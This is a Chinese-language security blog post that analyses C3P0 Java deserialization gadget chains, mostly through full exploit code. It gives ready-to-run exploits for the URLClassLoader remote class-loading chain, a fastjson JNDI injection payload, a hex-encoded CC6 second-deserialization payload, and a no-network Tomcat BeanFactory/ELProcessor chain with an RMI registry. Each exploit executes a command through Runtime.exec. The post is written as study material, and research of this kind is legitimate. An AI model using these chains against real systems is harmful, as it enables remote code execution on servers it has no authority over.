c3p0 Gadget Learn
c3p0 Gadget Learn

0x01.C3P0 组件简介

C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate,Spring 等。

JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。

使用Java程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

0x02.pom

<dependencies>
<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>
</dependencies>

0x03. URLClassLoader Gadget

先看链尾触发点,在ReferenceableUtils.javareferenceToObject方法调用lookup进行JNDI查询,并且实例化,存在RCE,查看调用情况:
存在3处调用,来看ReferenceIndirectorgetObject方法,这里会调用前者,实现lookup查询

这是一个包装类,我们查询Usage可以看到:

当我们重写其getReference方法时,其JNDI查询的参数就是可控的,但为什么是包装类呢?


这里尝试将connectionPoolDataSource属性类序列化,而该类并不集成于Serializable接口导致其无法序列化,因此需要包装类进行封装

因此在这里链子如下:

PoolBackedDataSourceBase#readObject ->
ReferenceSerialized#getObject ->
ReferenceableUtils#referenceToObject ->
ObjectFactory#getObjectInstance

我们只需要实例化ConnectionPoolDataSource并且重写其getReference方法,便能设置一个远程工厂类地址fClassLocation,则会使用URLClassLoader进行远程类加载。

ExpClass如下:

package com.example;

public class ExpClass {
    public ExpClass() throws Exception{
        Runtime.getRuntime().exec("calc.exe");
    }
}

Exp如下:

package com.example;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class exp {
    public static class Exp_loader implements ConnectionPoolDataSource, Referenceable {

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("Calc","com.example.ExpClass","http://127.0.0.1:8888");
        }
    }

    public static void Pool_Serial(ConnectionPoolDataSource c) throws Exception{
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Class cls = poolBackedDataSourceBase.getClass();
        Field field = cls.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(poolBackedDataSourceBase,c);
        // 写入数据
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(poolBackedDataSourceBase);
    }

    public static void Pool_unserial() throws Exception{
        FileInputStream fis = new FileInputStream(new File("exp.bin"));
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws Exception{
        Exp_loader exp_loader = new Exp_loader();
        Pool_Serial(exp_loader);
        Pool_unserial();
    }
}

动调解析:
进入到getObject方法:


跟进referenceToObject方法,其中这里reference已经通过getReference拿到:

最终调用URLClassLoader实例化,执行静态代码,造成RCE

0x04. JNDI注入 Gadget

全局搜索JNDI,找到JndiRefForwardingDataSource类,其中在dereference中找到


其中jndiName通过this.getJndiName()得到,跟进该方法看是否可控

在这里其实不影响,因为jndiName是String或者Object都做出了判断和处理,都可以进入ctx.lookup进行查询操作,查找调用情况,inner()方法会调用

这里全是getter或者setter方法,意味着满足作为fastjson调用链的条件了,因为fastjson会自动调用setter方法,这里实际上已经可以利用了

构造Payload如下:

String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +
                "\"jndiName\":\"rmi://xxx/ts8ul5\",\"LoginTimeout\":\"1\"}";
        JSON.parse(payload);

调试可以看到进入到dereference方法中,因为在这里JndiNamesetter方法,所以即使是私有属性,通过fastjson也能够进行赋值

由于高版本jdk禁止了RMI协议使用远程codebase,在JDK 6u132, JDK 7u122, JDK 8u113之后Java限制了通过RMI远程加载Reference工厂类。因此这里需要手动添加

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true")

0x05.hexbase 攻击利用

该利用链能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件。

链子的入口点在WrapperConnectionPoolDataSource构造方法中:


这里会将userOverridesAsString先从16进制转为byte数组,随后反序列化:

值得注意的是,在解析过程中调用了substring()方法将字符串头部的HASM_HEADER截去了,因此我们在构造时需要在十六进制字符串头部加上 HASM_HEADER,并且会截去字符串最后一位,所以需要在结尾加上一个;

继续跟进deserializeFromByteArray,调用readObject进行反序列化:

因此此处存在二次反序列化操作,这里我们用CC链做一个demo,并且由于UserOverridesAsString存在gettersetter方法,因此使用Fastjson来加载比较合适

exp借鉴其他师傅的:

package com.example;
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class hexbase {

    //CC6的利用链
    public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
        //使用InvokeTransformer包装一下
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap1=new HashMap<>();
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc");
        HashMap<Object,Object> hashMap2=new HashMap<>();
        hashMap2.put(tiedMapEntry,"eee");
        lazyMap.remove("abc");


        //反射修改LazyMap类的factory属性
        Class clazz=LazyMap.class;
        Field factoryField= clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        return hashMap2;
    }




    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }

    //将类序列化为字节数组
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
        byte[] payload_bytes = tobyteArray(CC6()) ;
        String hex = bytesToHexString(payload_bytes,payload_bytes.length);

        String payload = "{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}";
        JSON.parse(payload);


    }
}

在调用该属性的Setter方法时,由于之前属性this.userOverridesAsString是空,因为构造函数就是空的,而现在传入的userOverridesAsString有值,因此进入vcs.fireVetoableChange中,跟进vcs.fireVetoableChange,最终到WrapperConnectionPoolDataSource#vetoableChange

这里propName即属性名是userOverridesAsString,因此会再次进行一次解析


而此时userOverridesAsString已经不为空,因此进入后续反序列化操作,实现RCE

C3P0通过这种方式,在set完userOverridesAsString属性后直接对其进行解析,减少了一次类初始化操作。

0x06.C3P0 不出网利用

假设存在这样的场景,目标机器不出网,又没有Fastjson依赖的话,C3P0链又该如何利用呢?
我们回头看C3P0中利用URLClassLoader进行任意类加载的攻击方式:

这里调用了URLClassLoader得到的任意类的getObjectInstance方法,由于可以实例化任意类,所以我们可以将该类设置为本地的BeanFactory类。在不出网的条件下可以进行EL表达式注入,而BeanFactory依赖于tommcat8环境,和JNDI绕过高版本JDK限制一样,在这里顺便分析下后者,再来分析前者

JDNI绕过高版本JDK — tomcat8

8u191后已经默认不允许加载codebase中的远程类,但我们可以从本地加载合适Reference Factory。

需要注意是,该本地工厂类必须实现javax.naming.spi.ObjectFactory接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对Factory类的实例对象进行了类型转换,继承ObjectFactory意味着该工厂类至少存在一个getObjectInstance()方法。

org.apache.naming.factory.BeanFactory就是满足条件之一,并由于该类存在于Tomcat8依赖包中,先添加pom依赖:

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>

org.apache.naming.factory.BeanFactorygetObjectInstance()中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

编写EXP:

public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        ref.add(new StringRefAddr("forceString", "crispr=eval"));
        ref.add(new StringRefAddr("crispr", "Runtime.getRuntime().exec(\"calc\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("calc", referenceWrapper);
        System.out.println("Registry running......");
    }

随后lookup查询即可,我们来看一下BeanFactory的相关操作:
首先判断我们要从工厂生成的类是否是ResourceRef类的实例,接着实例化我们指定的javax.el.ELProcessor

forceString可以给属性强制指定一个setter方法,这里将属性crispr的setterName设置为了public java.lang.Object javax.el.ELProcessor.eval()

接着传入crispr的setter的参数,也就是Runtime.getRuntime().exec("calc")。接着运行setter,实际上就相当于运行java.lang.Object javax.el.ELProcessor.eval(Runtime.getRuntime().exec("calc"))

0x06.C3P0 不出网利用 继续分析

回到前文,之前链子调用了URLClassLoader得到的任意类的getObjectInstance方法,这里我们也尝试重写BeanFactory工厂类来实现RCE

编写EXP:

package com.example;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.annotation.Resource;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class nonet_exp {
    public static class Exp_loader implements ConnectionPoolDataSource, Referenceable {

        @Override
        public Reference getReference() throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            ref.add(new StringRefAddr("forceString", "crispr=eval"));
            ref.add(new StringRefAddr("crispr", "Runtime.getRuntime().exec(\"calc\")"));
            return ref;
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
    public static void Pool_Serial(ConnectionPoolDataSource c) throws Exception{
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Class cls = poolBackedDataSourceBase.getClass();
        Field field = cls.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(poolBackedDataSourceBase,c);
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(poolBackedDataSourceBase);
    }

    public static void Pool_Unserial() throws Exception{
        FileInputStream fis = new FileInputStream("exp.bin");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws Exception{
        Exp_loader loader = new Exp_loader();
        Pool_Serial(loader);
        Pool_Unserial();
    }
}

其实和URLClassLoader加载并且实例远程类一样,只是在这里借用BeanFactory工厂类的getObjectInstance方法,这样避免了远程加载,可以在目标机器不出网且没有FastJson依赖的情况下实现RCE

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇